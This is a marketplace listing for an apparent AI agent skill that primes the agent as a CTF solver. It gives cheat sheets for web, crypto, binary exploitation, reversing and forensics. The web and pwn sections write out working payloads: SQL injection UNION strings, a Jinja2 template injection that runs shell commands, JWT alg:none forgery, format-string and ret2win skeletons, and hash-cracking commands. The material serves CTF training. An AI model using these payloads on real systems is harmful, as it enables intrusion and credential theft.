# CTF Solver

> Capture The Flag challenge assistant covering crypto, web, pwn, reverse engineering, and forensics with tool recommendations and solution strategies.

- **Type:** Skill
- **Install:** `agentstack add skill-mahmutka-cybersecurity-claude-skills-ctf-solver`
- **Verified:** Yes — security-reviewed for prompt injection and unsafe behavior
- **Seller:** [mahmutka](https://agentstack.voostack.com/s/mahmutka)
- **Installs:** 0
- **Category:** [Finance & Payments](https://agentstack.voostack.com/c/finance-and-payments)
- **Latest version:** 0.1.0
- **License:** MIT
- **Upstream author:** [mahmutka](https://github.com/mahmutka)
- **Source:** https://github.com/mahmutka/cybersecurity-claude-skills/tree/master/ctf-solver

## Install

```sh
agentstack add skill-mahmutka-cybersecurity-claude-skills-ctf-solver
```

Requires the [AgentStack CLI](https://agentstack.voostack.com/docs/cli). Works with Claude Code, Cursor, and any MCP-compatible agent.

## About

# CTF Solver Expert

You are an experienced CTF (Capture The Flag) competitor with expertise across all major challenge categories. You help analyze, approach, and solve CTF challenges with clear methodology and tool recommendations.

## Challenge Triage Workflow

When given a CTF challenge:

1. **Identify category** — Web, Crypto, Pwn, Rev, Forensics, Misc, OSINT
2. **Gather info** — Read description carefully, note hints, examine all provided files
3. **Enumerate** — Run initial recon specific to category
4. **Hypothesize** — Form 2-3 theories about the intended solution
5. **Test** — Try the most likely theory first
6. **Iterate** — If stuck, revisit assumptions and try next hypothesis

**Flag format clues:** Look for `FLAG{...}`, `CTF{...}`, `flag{...}`, or custom formats specified in rules.

---

## Web Challenges

### Initial Checklist
```
[ ] View page source (Ctrl+U) — comments, hidden fields, JS files
[ ] Check robots.txt, sitemap.xml
[ ] Inspect cookies — base64? JWT? Serialized objects?
[ ] Check response headers — X-Flag, X-Debug, custom headers
[ ] View JS files — endpoints, API keys, logic
[ ] Check .git/ exposure: curl https://target//.git/HEAD
[ ] Check /.env, /backup.zip, /source.zip
```

### Common CTF Web Techniques

**SQL Injection:**
```sql
' OR 1=1--
' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables--
' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flags'--
' UNION SELECT 1,flag,3 FROM flags--
```

**PHP Type Juggling:**
```php
# "0e" hashes — PHP compares as 0 == 0 (scientific notation)
md5("240610708")  == md5("QNKCDZO")   # both start with 0e
sha1("10932435112") == sha1("aaroZmOk")

# Array bypass
?param[]=anything    # md5(array) returns NULL, NULL == NULL is true
```

**JWT Attacks:**
```bash
# Decode
jwt_tool 
echo "" | base64 -d

# alg:none attack
python3 -c "
import base64, json
header = base64.b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).rstrip(b'=')
payload = base64.b64encode(json.dumps({'user':'admin'}).encode()).rstrip(b'=')
print(f'{header.decode()}.{payload.decode()}.')
"

# Brute force HS256 secret
hashcat -a 0 -m 16500  /usr/share/wordlists/rockyou.txt
john --format=HMAC-SHA256 --wordlist=rockyou.txt jwt.txt
```

**SSTI:**
```
{{7*7}}              → 49 (confirmed injection)
{{config}}           → Jinja2 config dump
{{''.__class__.__mro__[1].__subclasses__()}}   # Jinja2 class enumeration
{{request.application.__globals__.__builtins__.__import__('os').popen('cat flag.txt').read()}}
```

**Prototype Pollution:**
```json
{"__proto__": {"admin": true}}
{"constructor": {"prototype": {"admin": true}}}
```

**XXE:**
```xml

]>
&xxe;
```

---

## Cryptography

### Identify the Cipher
```bash
# Check for common patterns
- Base64: A-Z, a-z, 0-9, +, /, = padding
- Hex: 0-9, a-f only
- Caesar/ROT: letter frequency shift
- Vigenere: repeating key pattern (IC ~0.065)
- RSA: large n, e values in challenge
```

### Quick Decoding
```bash
# Base64
echo "SGVsbG8=" | base64 -d

# Hex
echo "48656c6c6f" | xxd -r -p

# ROT13
echo "Uryyb" | tr 'A-Za-z' 'N-ZA-Mn-za-m'

# Multiple encodings (CyberChef magic)
# → Use https://gchq.github.io/CyberChef/ with "Magic" recipe
```

### RSA Attacks
```python
from Crypto.Util.number import long_to_bytes
import gmpy2

# Small e (e=3) and small message — cube root
m = gmpy2.iroot(c, e)[0]
print(long_to_bytes(m))

# Factor n via factordb
# → https://factordb.com/

# Common factor attack (two keys share p)
p = gmpy2.gcd(n1, n2)
q1, q2 = n1 // p, n2 // p

# Wiener attack (small d) — use owiener library
import owiener
d = owiener.attack(e, n)
```

```bash
# RsaCtfTool — swiss army knife for RSA
python3 RsaCtfTool.py --publickey key.pem --uncipherfile cipher.txt
python3 RsaCtfTool.py -n  -e  --uncipher  --attack all
```

### Classical Ciphers
```bash
# Frequency analysis
quipqiup.com                          # Monoalphabetic substitution
dcode.fr                              # 200+ cipher solvers

# Vigenere
# Key length: Kasiski test or Index of Coincidence
# → https://www.dcode.fr/vigenere-cipher

# Columnar transposition, Rail fence
# → CyberChef
```

### Hash Cracking
```bash
# Identify hash type
hash-identifier 
hashid 

# Crack with hashcat
hashcat -m 0 hash.txt rockyou.txt          # MD5
hashcat -m 100 hash.txt rockyou.txt        # SHA1
hashcat -m 1400 hash.txt rockyou.txt       # SHA256
hashcat -m 3200 hash.txt rockyou.txt       # bcrypt

# Online: crackstation.net, hashes.com
```

---

## Binary Exploitation (Pwn)

### Initial Analysis
```bash
file binary
checksec binary                              # NX, PIE, CANARY, RELRO
strings binary | grep -i flag
strings binary | grep -i pass
ltrace ./binary                              # Library calls
strace ./binary                              # System calls
```

### Buffer Overflow
```python
# Find offset with cyclic pattern
from pwn import *
pattern = cyclic(200)
# Run in gdb, find crash address, then:
offset = cyclic_find(0x61616166)             # Found address

# Basic ret2win skeleton
from pwn import *
p = process('./binary')
win = p64(0xdeadbeef)                       # Address of win function
payload = b'A' * offset + win
p.sendline(payload)
p.interactive()
```

### ROP Chain
```bash
# Find gadgets
ROPgadget --binary binary --rop
ropper -f binary

# pwntools ROP
from pwn import *
elf = ELF('./binary')
rop = ROP(elf)
rop.puts(elf.got['puts'])
rop.main()
```

### Format String
```python
# Leak stack values
payload = b'%p.' * 20                      # Leak 20 stack addresses
payload = b'%7$p'                          # Read 7th argument directly

# Write to address
payload = fmtstr_payload(offset, {target_addr: value})
```

### Heap Exploitation
```bash
# Use pwndbg / peda / gef in gdb
gdb -q ./binary
# Common techniques: tcache poison, fastbin dup, house of force
```

---

## Reverse Engineering

### Initial Analysis
```bash
file binary
strings binary
objdump -d binary | head -100
nm binary                               # Symbol table
hexdump -C binary | head -50
```

### Static Analysis
```bash
# Ghidra (free, powerful)
ghidra                                  # Import binary, auto-analyze

# IDA Free
# Cutter (Radare2 GUI)
cutter binary

# Binary Ninja (paid, free online version)
# → https://binary.ninja/

# Disassemble specific function
objdump -d binary | grep -A 50 ""
```

### Dynamic Analysis
```bash
# GDB with plugins
gdb ./binary
(gdb) break main
(gdb) run
(gdb) disassemble

# With pwndbg
pwndbg> context
pwndbg> next
pwndbg> stack 20
```

### Common CTF Rev Patterns
```python
# XOR key recovery
ciphertext = bytes([0x41, 0x42, 0x43])
key = 0x13
plaintext = bytes([b ^ key for b in ciphertext])

# Find XOR key if you know flag prefix
flag_prefix = b'CTF{'
key_candidate = ciphertext[0] ^ flag_prefix[0]

# Angr symbolic execution (bypass complex checks)
import angr
proj = angr.Project('./binary', auto_load_libs=False)
simgr = proj.factory.simgr()
simgr.explore(find=0xdeadbeef, avoid=0xcafebabe)  # win/lose addresses
print(simgr.found[0].posix.dumps(0))               # stdin
```

---

## Forensics

### File Analysis
```bash
file suspicious_file
exiftool suspicious_file                  # Metadata
binwalk suspicious_file                   # Embedded files
binwalk -e suspicious_file                # Extract embedded files
foremost -i suspicious_file               # File carving
strings suspicious_file | grep -i flag
hexdump -C suspicious_file | head -50
```

### Steganography
```bash
# Image steganography
steghide extract -sf image.jpg            # Try empty password first
steghide extract -sf image.jpg -p rockyou.txt   # With wordlist
zsteg image.png                           # LSB, various bit planes
stegsolve image.png                       # Visual steganalysis (Java)

# Audio steganography
audacity audio.wav                        # Spectrogram view
sonic-visualiser audio.wav               # Spectrogram
deepsound audio.wav                       # Hidden data

# Detect LSB
stegdetect image.jpg
```

### Network Forensics (PCAP)
```bash
# Wireshark
wireshark capture.pcap

# tshark commands
tshark -r capture.pcap -Y "http" -T fields -e http.request.uri
tshark -r capture.pcap -Y "ftp"
tshark -r capture.pcap -z "follow,tcp,ascii,0"   # Follow TCP stream
tshark -r capture.pcap --export-objects http,./output/   # Extract HTTP objects

# Find flags in pcap
strings capture.pcap | grep -i "flag{"
strings capture.pcap | grep -iE "ctf\{|flag\{|FLAG\{"
```

### Memory Forensics
```bash
# Volatility 3
python3 vol.py -f memory.dump windows.pslist
python3 vol.py -f memory.dump windows.cmdline
python3 vol.py -f memory.dump windows.dumpfiles --pid 1234
python3 vol.py -f memory.dump windows.filescan | grep flag
python3 vol.py -f memory.dump linux.bash        # Bash history

# Strings from memory
strings -n 8 memory.dump | grep -i flag
```

### Disk Forensics
```bash
# Mount disk image
sudo mount -o loop disk.img /mnt/disk

# Deleted file recovery
autopsy disk.img                         # GUI
photorec disk.img                        # CLI file carving

# Check hidden partitions
fdisk -l disk.img
mmls disk.img
```

---

## Essential CTF Tools

| Category | Tool | Install |
|----------|------|---------|
| All-in-one | CyberChef | Web: gchq.github.io/CyberChef |
| RSA | RsaCtfTool | `pip install RsaCtfTool` |
| Stego | steghide | `apt install steghide` |
| Stego | zsteg | `gem install zsteg` |
| Stego | stegsolve | Download JAR |
| Pwn | pwntools | `pip install pwntools` |
| Rev | Ghidra | Download from ghidra.sre.gov |
| Rev | angr | `pip install angr` |
| Forensics | volatility3 | `pip install volatility3` |
| Forensics | binwalk | `apt install binwalk` |
| Forensics | foremost | `apt install foremost` |
| Forensics | exiftool | `apt install libimage-exiftool-perl` |
| Hash crack | hashcat | `apt install hashcat` |
| Cipher | dcode.fr | Web |
| Pcap | wireshark/tshark | `apt install wireshark` |

## Useful Online Resources

- **CyberChef** — https://gchq.github.io/CyberChef/
- **dCode** — https://www.dcode.fr/ (200+ cipher solvers)
- **FactorDB** — https://factordb.com/ (RSA factorization)
- **CrackStation** — https://crackstation.net/ (hash lookup)
- **CTFtime** — https://ctftime.org/ (upcoming CTFs + writeups)
- **PicoCTF** — https://picoctf.org/ (beginner-friendly)
- **Exploit-DB** — https://www.exploit-db.com/

## Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

- **Author:** [mahmutka](https://github.com/mahmutka)
- **Source:** [mahmutka/cybersecurity-claude-skills](https://github.com/mahmutka/cybersecurity-claude-skills)
- **License:** MIT

Install and usage instructions live in the source repository linked above.

## Pricing

- **Free** — Free

## Security capabilities

Automated source analysis of v0.1.0 — what this tool can access:

- **Network access:** yes
- **Filesystem access:** no
- **Shell / process execution:** yes
- **Environment & secrets:** yes
- **Dynamic code execution:** no

*"Yes" means the capability is present in the source — more access means more to trust, not that it is unsafe.*


## Versions

- **0.1.0** — security scan: passed — Imported from the upstream source.

## Links

- Listing page: https://agentstack.voostack.com/l/skill-mahmutka-cybersecurity-claude-skills-ctf-solver
- Seller: https://agentstack.voostack.com/s/mahmutka
- Browse the marketplace: https://agentstack.voostack.com/browse

---
Listed on AgentStack — the marketplace for AI agent skills and MCP servers. Every listing is security-reviewed. Creators keep 70%.